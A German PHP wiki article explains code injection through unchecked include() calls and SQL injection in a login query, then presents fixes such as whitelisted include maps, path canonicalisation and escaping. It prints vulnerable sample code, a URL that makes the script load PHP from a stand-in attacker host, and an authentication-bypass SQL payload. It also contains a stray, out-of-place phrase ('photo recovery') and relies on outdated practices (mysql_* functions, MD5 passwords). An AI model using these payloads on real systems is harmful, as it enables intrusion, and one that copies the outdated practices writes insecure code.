Injection

Aus php bar
Wechseln zu: Navigation, Suche

Unter Injection bezeichnet man Verfahren, bei denen, meist durch Ausnutzung einer Sicherheitslücke, fremder Programmcode zur Ausführung eingeschleust wird. Daher kommt auch der Begriff Injection, von Injizierung/Injektion.

Code-Injection

Sicherheitslöcher

Viele PHP Anwendungen werden von einem zentralen Script gesteuert, welches allgemeine Aufgaben übernimmt und je nach Requestparameter ein entsprechendes Modul zur Darstellung einbindet. Viele Entwickler machen es sich hier sehr einfach, indem sie als Requestparameter den Pfad des Scripts übergeben und diesen dann mit include() oder require() in ihr Programm einbinden.

Oft erkennt man den Typ der Anwendung bereits am URL, zum Beispiel http://example.org/index.php?c=home.php. Eine typische Anwendung, die nach diesem Prinzip funktioniert, sieht wie folgt aus.

 <?php
  $content = "home.php";
 
  if(!empty($_GET['c'])) {
      $content = $_GET['c'];
  }
 ?>
 
 <!-- Angeforderte Seite einbinden -->
10 <?php
11  include($content);
12 ?>


Hier sieht man direkt mehrere Programmierfehler, die unter Umständen ein riesiges Sicherheitsloch darstellen und einem Angreifer alle Türen öffnen. Zum einen könnte ein Angreifer eine beliebige Datei auf dem Server öffnen, sofern der Benutzer, unter dem der Webserver läuft, die entsprechenden Rechte hat, photo recovery, und - was viel gravierender ist - er kann beliebigen PHP Quelltext im Rahmen der Anwendung ausführen.

Angriff

Eine Code-Injection nennt man nun genau einen solchen Angriff, bei dem fremder Code in die Anwendung geschleust und ausgeführt wird. Das obige Script kann dann das Ziel eines Code-Injection-Angriffes werden, wenn die PHP Konfigurationsdirektive allow_url_fopen aktiviert ist, so daß Dateien auch über registrierte Streamwrapper eingebunden werden können.

Der Angreifer manipuliert nun den Requestparameter c, damit keine lokale Datei wie home.php, sondern eine entfernte Textdatei, die beliebigen PHP Code des Angreifers enthält, eingebunden wird. Der URL dazu könnte wie folgt aussehen:

http://example.org/index.php?c=http://angreifer.example.org/injection.txt

Da injection.txt beliebigen Quelltext enthalten kann, hat der Angreifer nun leichtes Spiel, Kennwörter oder andere sensible Daten auszuspionieren, Dateien zu erstellen, zu löschen oder zu ändern usw.

Lösung

Eine schnelle und einfache Lösung wäre es, die Direktive allow_url_fopen in der php.ini zu deaktivieren. Zum einen könnte dies aber dazu führen, dass andere Scripte nicht mehr funktionieren. Zum anderen behebt es die Sicherheitslücke im Programm nicht.

Anstatt den übergebenen Parameter direkt zu übernehmen, muss dieser zunächst validiert werden. Im folgenden Beispiel wird eine Map verwendet, um den einzubindenden Dateien entsprechende Aliase zuzuweisen. Dadurch wird garantiert, dass keine anderen Dateien eingebunden werden können außer solche, die in der Map definiert sind.

 <?php
  $inclmap = array(
      'home'      => 'home.php',
      'impressum' => 'impressum.php',
      // usw
  );
 
  $content = $inclmap['home'];
 
10  if(!empty($_GET['c']) && isset($inclmap[$_GET['c']])) {
11      $content = $inclmap[$_GET['c']];
12  }
13 ?>
14 
15 <!-- Angeforderte Seite einbinden -->
16 <?php
17  include($content);
18 ?>


Diese Handhabung hat neben dem Schließen der Sicherheitslöcher noch den Vorteil, dass die Dateien an einen beliebigen Ort auf dem Server verschoben werden können, ohne das sich die URLs ändern.

Kann man nicht mit einer Map arbeiten, zum Beispiel, weil zu viele Dateien vorhanden sind, um diese zu pflegen, muss man dennoch den Pfad validieren. Wenn sich alle Includedateien im Verzeichnis ./inc, relativ zum aufrufenden Script befinden, muss sichergestellt sein, dass keine Dateien überhalb dieses Verzeichnisses eingebunden werden können.

 <?php
 function canonicalPath($path, $base, $sep = DIRECTORY_SEPARATOR) {
     if($path{0} != $sep) {
         $path = $base . $sep . $path;
     }
 
     if($sep != DIRECTORY_SEPARATOR) {
         $path = str_replace(DIRECTORY_SEPARATOR, $sep, $path);
     }
10 
11     $tokens = explode($sep, $path);
12     $path   = array();
13     
14     foreach($tokens as $token) {
15         switch($token) {
16             case '':
17             case '.':
18                 continue 2;
19             
20             case '..':
21                 array_pop($path);
22                 continue 2;
23             
24             default:
25                 array_push($path, $token);
26         }
27     }
28     
29     return implode($sep, $path) . $sep;
30 }
31 
32 $inclpath = canonicalPath('./inc', dirname(__FILE__), '/');
33 $content  = $inclpath . 'home.php';
34 
35 if(!empty($_GET['c'])) {
36     $temp = canonicalPath($_GET['c'], $inclpath, '/');
37 
38     if($inclpath == substr($temp, 0, strlen($inclpath))) {
39         $content = $temp;
40     }
41 }
42 ?>
43 
44 <!-- Angeforderte Seite einbinden -->
45 <?php
46  include($content);
47 ?>


SQL-Injection

Viele SQL-Abfragen sind abhängig von Benutzereingaben wie z. B.: beim Login. Wenn man die Benutzereingaben direkt in die Abfrage übernimmt und keiner genügenden Überprüfung unterzieht, ist es möglich, die Abfrage zu manipulieren.

Es gibt grundsätzlich zwei Methoden, um eine solche SQL-Injection zu verhindern: erstens, man verwendet die Benutzereingaben nicht direkt, was jedoch nicht immer praktikabel ist, oder zweitens, man muss die Eingaben ausreichend überprüfen.

Angriffsbeispiel

Um zu prüfen, ob die eingegeben Logindaten stimmen oder nicht, könnte man folgende SQL-Abfrage benutzen:

SELECT COUNT(*) AS eingeloggt
  FROM users
 WHERE username = "der_username"
   AND password = MD5("das_password");


In PHP würde man das dann wie folgt lösen.

 $sql = 'SELECT COUNT(*) as eingeloggt
          FROM users
         WHERE username = "'.$_POST['username'].'"
           AND password = MD5("'.$_POST['password'].'")';
 $result = mysql_query($sql);
 if (!$result) {
     trigger_error('MySQL Fehler: '.mysql_error(), E_USER_ERROR);
 }
 // mit $result arbeiten...
10 


Hier werden die Variablen $_POST['username'] und $_POST['password'] ungeprüft direkt in der Abfrage verwendet. Bei normaler Benutzung passiert das, was erwartet wird, doch man kann auch folgenden Benutzernamen angeben:

" OR 1 /* "

Somit baut das Script folgenden SQL-Query zusammen:

SELECT COUNT(*) AS eingeloggt
  FROM users
 WHERE username = "" OR 1 /*""
   AND password = MD5("das_password")


Da /* in MySQL ein mehrzeiliger Kommentar ist, wird folgende Abfrage gesendet:

SELECT COUNT(*) AS eingeloggt
  FROM users
 WHERE username = "" OR 1


Diese OR-Verknüpfung liefert immer den Wert true, und somit hat das WHERE keine Bedeutung. Die folgende Abfrage wird dann sinngemäß ausgeführt:

SELECT COUNT(*) AS eingeloggt
  FROM users


Und somit kann man sich in das System einloggen ("eingeloggt" enthält eine Zahl ungleich 0, was vielleicht im PHP-Script als "Benutzername und Password richtig" interpretiert wird), obwohl man überhaupt nicht das Passwort kennt.

Benutzereingaben mit einer Vorgabeliste überprüfen

Hierbei wird geprüft, ob die Benutzereingabe in einer vorgegebenen Liste von Möglichkeiten ist:

query_user.php?geschlecht=mann:

 // das Array mit gültigen Optionen
 $geschlecht_optionen = array( 'mann', 'frau' );
 
 // hier halten wir die WHERE Bedingungen
 $where[] = array();
 
 if ( in_array( $_REQUEST['geschlecht'], $geschlecht_optionen ) )
 {
     $where[] = ' `geschlecht` = "' . $_REQUEST['geschlecht'] . '" '
10 }
11 
12 ...
13 $sql = 'SELECT * FROM `user`';
14 if ( count( $where ) )
15 {
16     $sql .= ' WHERE ' . implode( ' AND ', $where );
17 }
18 ...


Zusätzlich kann man dadurch auch gleich die Parameter kürzer halten:

query_user.php?g=1:

 // das Array mit gültigen Optionen
 $geschlecht_optionen = array( 1 => 'mann', 2 => 'frau' );
 
 // hier halten wir die WHERE Bedingungen
 $where[] = array();
 
 if ( isset( $geschlecht_optionen[$_REQUEST['g']] ) )
 {
     $where[] = ' `geschlecht` = "' . $geschlecht_optionen[$_REQUEST['g']] . '" '
10 }
11 
12 ...
13 $sql = 'SELECT * FROM `user`';
14 if ( count( $where ) )
15 {
16     $sql .= ' WHERE ' . implode( ' AND ', $where );
17 }
18 ...


Benutzereingaben syntaktisch überprüfen

Einmal kann man für externe Variablen die Funktion mysql_real_escape_string() verwenden oder auch seine Abfrage mit sprintf() zusammenbauen und so die Parameter zu bestimmten Typen umwandeln (wie z. B. Eingaben mit %u zu Zahlen umändern).

Sichere Datenbankabfragen

Variablen entfernen

Im nächsten Schritt werden die Variablen aus der eigentlichen Abfrage entfernt.

1 $result = mysql_query("
2     SELECT nick,
3            email
4       FROM accounts
5      WHERE email    = '$email'
6        AND password = '$password'
7 ");


Was bei einfachen Variablen noch ganz übersichtlich aussieht, kann bei Arrays oder, wenn noch eine oder mehrere Funktionen auf eine Variable angewendet werden müssen, schnell sehr unübersichtlich werden. Hier ein schlechteres Beispiel:

1 $result = mysql_query("
2     SELECT nick,
3            email
4       FROM accounts
5      WHERE email    = '" . $_POST['email'] . "'
6        AND password = '" . $_POST['password'] . "'
7 ");


Besser ist es die Abfrage mit der Funktion [sprintf()] zu erstellen. Bei [sprintf()] wird als erster Parameter ein String mit Platzhaltern angegeben. Diese Platzhalter werden dann durch die Werte der restlichen Parameter ersetzt. Zusätzlich wird mit [sprintf()] noch eine Typenkonvertierung durchgeführt.

 $query = sprintf("
     SELECT nick,
            email
       FROM accounts
      WHERE email    = '%s'
        AND password = '%s'",
 
     $_POST['email'],
     $_POST['password']
10 );
11 $result = mysql_query( $query );


Alle Variablen escapen

Eine einfache Regel "Alle Variablen werden escaped". Zwar müssten nur Variablen escaped werden, die vom Typ String sind und/oder durch den Anwender z. B. in einem Formular eingegeben wurde, dies würde aber das Ganze unnötig verkomplizieren und wäre wieder anfällig für Fehler.

 $query = sprintf("
     SELECT nick,
            email
       FROM accounts
      WHERE email    = '%s'
        AND password = '%s'",
 
     mysql_real_escape_string( $_POST['email'] ),
     mysql_real_escape_string( $_POST['password'] )
10 );
11 $result = mysql_query($query);


Ergebnis

Da durch die Formatierung die Abfrage übersichtlich Aufgebaut wird, ist diese einfacher zu lesen, durch die sprintf() Funktion stehen die Variablen ausserhalb der Abfrage und es ist damit auf einen Blick sichtbar, ob auch alle Variablen escaped wurden.

Vereinfachen

Um einen Teil der hier erwähnten Dinge zu vereinfachen, kann eine Funktion erstellt werden, die ähnlich wie sprintf arbeitet, alle Parameter erst escaped und dann an die vsprintf übergibt. [vsprintf] arbeitet wie sprintf mit dem Unterschied, das ein Array übergeben wird.

 function mysql_queryf()
 {
     /* Übergebene Parameter in $args speichern. */
     $args   = func_get_args();
 
     /* Ersten Indexwert in $query speichern und aus dem $args Array löschen */
     $query  = array_shift($args);
 
     /* Alle Werte in $args escapen */
10     $args   = array_map('mysql_real_escape_string', $args);
11 
12     $query  = vsprintf($query, $args);
13     $result = mysql_query($query);
14     return($result);
15 }


Ein Beispiel, wie diese Funktion dann benutzt wird

 $result = mysql_queryf("
     SELECT nick,
            email
       FROM accounts
      WHERE email    = '%s'
        AND password = '%s'",
 
     $email,
     $password
10 );


Abfragen sauber formatieren

Wenn Abfragen sauber formatiert werden, wird die Lesbarkeit erhöht und so können Fehler schneller entdeckt und entfernt werden, z. B. Schlüsselworte in Großbuchstaben, Zeilenumbrüche vor Schlüsselworten.

Kurze Abfragen benötigen nicht unbedingt eine besondere Formatierung für gute Lesbarkeit:

 SELECT * FROM TABLE


Bei längeren Abfragen sollte man mit Zeilenumbrüchen arbeiten:

SELECT nick,
       email
  FROM accounts
 WHERE email    = 'email'
   AND password = 'password'